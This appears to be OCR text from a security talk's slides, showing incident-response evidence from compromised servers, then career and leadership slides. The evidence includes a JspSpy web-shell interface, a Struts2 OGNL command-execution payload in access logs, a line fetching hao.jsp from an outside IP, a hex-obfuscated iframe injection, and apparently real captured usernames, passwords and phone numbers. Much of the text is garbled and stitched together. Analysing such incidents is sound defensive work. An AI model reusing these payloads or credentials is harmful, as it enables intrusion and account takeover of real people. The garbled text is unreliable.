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CrootCN =rl1#* stat hao_jsp.class
File: “hao_jsp.class”
Size: 17407 Blocks: 40
Device: fd02h/64770d Inode: 3806071
Access: (0664/-ru—rw-r-—-> Uid: {( 500/
Access:
Modify:

09:16:13,062489688 +0900
04:31:38,926561890 +0900

ID Block: 4C
Links: 1
mcom»  Gid: ( 500/ mcom }

File Manager - Current disk */" total (unknow)
Current Directory //hom e/m com /m com pany/root/commonAm p
Web Root | Shell Directory | New Directory | New File | Disk(/)

Last Modfied Siz

Dont break my heart~

ager | Execute Command | hell OnLine | Back Connect | Java Reflect | Eval Java Code | Port Scan | Down

P

JspSpy Ver:

mote File | ClipBoard | Port Map | Others | JSP Eny

GO

Lo ye H9E LR S Upload

Read/Write/Execute
true / false / unknow

true /true / unknow
true /true / unknow

Edit | Down | Copy | Move |
Down | Copy | My | Enter | Pack
| Down | Capy | Move | Property | Enter | Pack

0 directories / 3 files

211.253.30.123 -
211.253.30.123 -
211.253.30.123 -
211.253.30.123 -

GET /cs/selectForOrderListiskra?pagelndex=28&receivermobile=01051205776&eventld=5273&userld=mgame
GET /cs/selectForOrderList.iskra?pagelndex=28&receivermobile=01051205776&eventld=5273&userld=mgame
GET /cs/selectForOrderList.iskra?pagelndex=3&receivermobile=01051205776&eventld=5273&userld=mgame
GET /cs/selectForOrderListiskra?pagelndex=38&receivermobile=01051205776&eventld=5273&userld=mgame
* GET /es/selectForOrderlist.iskra?pagelindex=48&receivermobile=01051205776&eventld=5273&userld=mgame
GET /cs/selectForOrderList.iskra?pagelndex=4&receivermobile=01051205776&eventld=5273&userld=mgame

‘anlactForOrderList.iskra?pagelndex=3&receivermobile=01051205776&eventld=5273&userld=mgame

~ o oo

11.253.30123 - -
21125330123 - -
21125330123 - -
211.253.30123 - -
21125330123 - -
21125330123 - -

03:14:11 GET fes/selectForOrderlistiskia: pageindav=148&ueceivermobile=0164447777&eventld=5273&userld=mgame
03:14:16  GET fcs/selectForOrderlist.iskra?pagelndex=149&ureceivermobile=0164447777&eventld=5273&userld=mgame
03:14:17 GET /cs/selectForOrderListiskra?pagelndex=1498&receivermobile=0164447777&eventld=5273&userld=mgame
03:14:23 GET fes/selectForOrderList.iskra?pagelndex=150&ureceivermobile=0164447777&eventld=5273&userld=mgame
03:14:23 GET fcs/selectForOrderlist.iskra?pagelndex=150&receivermobile=0164447777&eventld=5273&userld=mgame
03:14:41 POST Jes/selectForOrderList.iskra HTTP/1.1

login' 'Method?POST
login’ 'Method?POST
login’ 'Method?POST
‘main’ '‘Method?GET
login’ '‘Method?POST
login’ '‘Method?POST
login' '‘Method?POST

[T TR

Togin’ ‘Method ?POS|
login’ 'Method?POST
login' '‘Method?POST
login’ '‘Method?POST
login' '‘Method?POST

Parameter?userld=LGU3706428&userPw=dlwlgns102572!'
Parameterluserld=LGU371331&userPw=LGU371331!"
Parameter?userld=LGU370976&userPw=rkdtjd12!'
Parameter?'
Parameter?userld=medialog17&userPw=mlog114@!'
Parameter?userld=xenergy&userPw=qwer1423!'
Parameter?userld=xenergy&userPw=qwer1423!'
Parameter?userld=xenergy&userPw=qwer1423!'
Parameter?userld=2141206&userPw=2141206a!'
Parameterluserld=jejubank&userPw=11111"
Parameter?userld=KDB5&userPw=KDB5!'
Parameter?userld=KDB6&userPw=KDB6!'
Parameter?userld=KDB6&userPw=KDB6!'
Parameter?userld=gaham7030&userPw=gaham14073!'
Parameter?userld=GSSHOP2&userPw=GSSHOP2!'

login' 'Method?POST Paramete ® . o oo
login' '‘Method?POST Parameter]
login' 'Method?POST Pararn
{" e ", "http://211.115.107.242//mysql/data/hao.jsp"})) .start (), #b=

27:12 +0900] "GET /?name=%25%7B%28%23_%3D%27multipart%2Fform-dag
27:16 +0900] "GET /2?name=%25%7B%28%23_%3D%27multipart%2Fform-da

27:26 +0900] "POST / HTTP/1.1" 500 3086
27:33 +0900] "POST /2.action HTTP/1.1" 404 206

?name=9%;{(¥_='multipart/form-data’)
.(#dm=®@ognl.OgnlContext@DEFAULT_MEMBER_ACCES
(#_memberAccess?(¥_memberAccess=#dm):((¥containe
'C
C o . o _ " g e iy
).(#¥ognlUtil.getExcludedPackageNames().clear()].(¥o etExcludedClasses(
.clearO).(#context.setMemberAccess(#dm))} iswin=(@j
ava.lang.System@getProperty('os.name’).tolowerCase().con ains('win'))).(#cmds
=(#iswin?{'cmd.exe','/c' #Fcmd}:{ /bin/bash’,'-¢' #cmd})).(¥p=new+java.lang.ProcessBuild

er(#¥cmds)).(#p.redirectErrorStream(true)).(¥process=#| .start().(#process.getinputStream())
(@org oSS o.trcam()UTF &) HTTE/1.1" 200 1




[Before]
Modify name /home,
Modify
Modify

Modify

Aceess Time
Modify Time
Change Time
[After]

Modify name: /home/n
Modify
Modify

Modify

Aceess Time
Modify Time
Change Time

Monitoring Path : [/ho
Trace Path [/tmp/NEW |
Original Path [/tmp/N
Start capture thread!!!
===> Modify [Before]
/home/
Modify org Aceess Time
Modify org Modify Time
Modify org Change Time
[After]
Modify new name: /home/n

Modify org name

Modify new Aceess Time
Modify new Modify Time
Modify new Change Time

[ oo * 77 rc3.dl# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address
127 99 -0.0:*
.0.0. .0.0:

00000

2]
-0
.0

=]

=
~N
n

.1

[root@mydaily rc3.d]# cat /var/lib/nfs/statd/dm
sysadmin :: infinitig!!*118

root :: infinitiq!!*118
sysadmin :: infinitig!!*118
sysadmin :: infinitig!!*118

root :: infinitiq!!*118
photodaily :: wpdlwpdlee
sysadmin :: infinitig!!*118

nn e 3 initigll®x110

..._.>.custom.js (size

7672)

.custom.js (size : 8043)

i_org/]

~.1.3.min.Jjs (size : 4599)

.js (size : 6914)

State PID/Program name
LISTEN 2737/snmpd
LISTEN 2664/mysqld
LISTEN 2776/httpd
LISTEN 2684/proftpd
LISTEN

LISTEN

ESTABLISHED

ESTABLISHED

ESTABLISHED

SYN SENT 2149/11ibijs2.so
ESTABLISHED 2408/sshd

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"] ["\x77\x72\x69\x74\x65"
\x77\x69\x64\x74\x68\x3d\x27\x30\x27 \x68\x65\x69\x67\x68\x74\x3d
2f\x32\x30\x32\x2e\x38\x39\x2e\x31\x32\x37\x2e\x32\x30\x30\x2f\x7

66\x72\x61\x6d\x65\x3e") ;

[root@Admin /]# 1s
-bash: /bin/ls: 238 ZI}Leo|} dHEIJ} gl
[root@Admin /]# dir
dev etc home 1lib 1ib64 lost+found media misc mnt opt proc root
[root@Admin /]# cd etc
[root@Admin etc]# dir
rc.d
[root@Admin etc]# cd ..
[root@Admin /]# yum
Traceback (most recent call last):

File "/usr/bin/yum", line 4, in ?

import yum
File "/usr/lib/python2.4/site-packages/yum/__init__ .py", line 44, in ?

sbin
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All the time
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AMAZON 8 10 10 6 10 10 7 8 6 7
Fotinet 7 8 8 8 8 9 10 7 9 7

Champ
Leader
Architect on
customer

project
External
Mentor










Start &
Now

#4 Career

Sr. Security
Risk &
Compliance
APJC Security
Champ
Leader
Architect on
customer
project
External
Mentor

amazon Obsessio ounership
Obsession
Leadership Invent and . .
Principles Simplify Are Right,
A Lot
Learn and ’
Be Curious Hire and
Develop
Insist on the Highest the Best
Standards
Think Big
Bias for Action Frugality
Earn Trust
Strive to be
Earth’s Best Dive Deep
Employer
ploy Deliver
Results
Have
Backbone;
Success and Disagree and
Scale Bring Commit
Broad
Responsibility . . unless you know better

ones. Please be a leader.












|
.N_
{
















/

~3
S
(.
Q.
~3
4
X

+ B A @ B

"ﬂj
00,










Professional

= OF0f| thiet |28 7[27], I F ARLIE[ &&

% A @ @













Securi ero & Zero

S ecurity alt

E vent Integrity

C ritical All everything
U ntrust All the time

R isk Human

| mitation Best Practice
T est Security Test
Y oY Ready for Next




With New With Networking
#Networking ..:. hﬁylvkswksg/ecurliy KRUG

-  AWS Security it
KRUG

- 10n1meet S o O30
- QWASP LinkedIn %

Security Conference







hanhyeon@amazon.com / misadz1@gmail.com / misadz@naver.com
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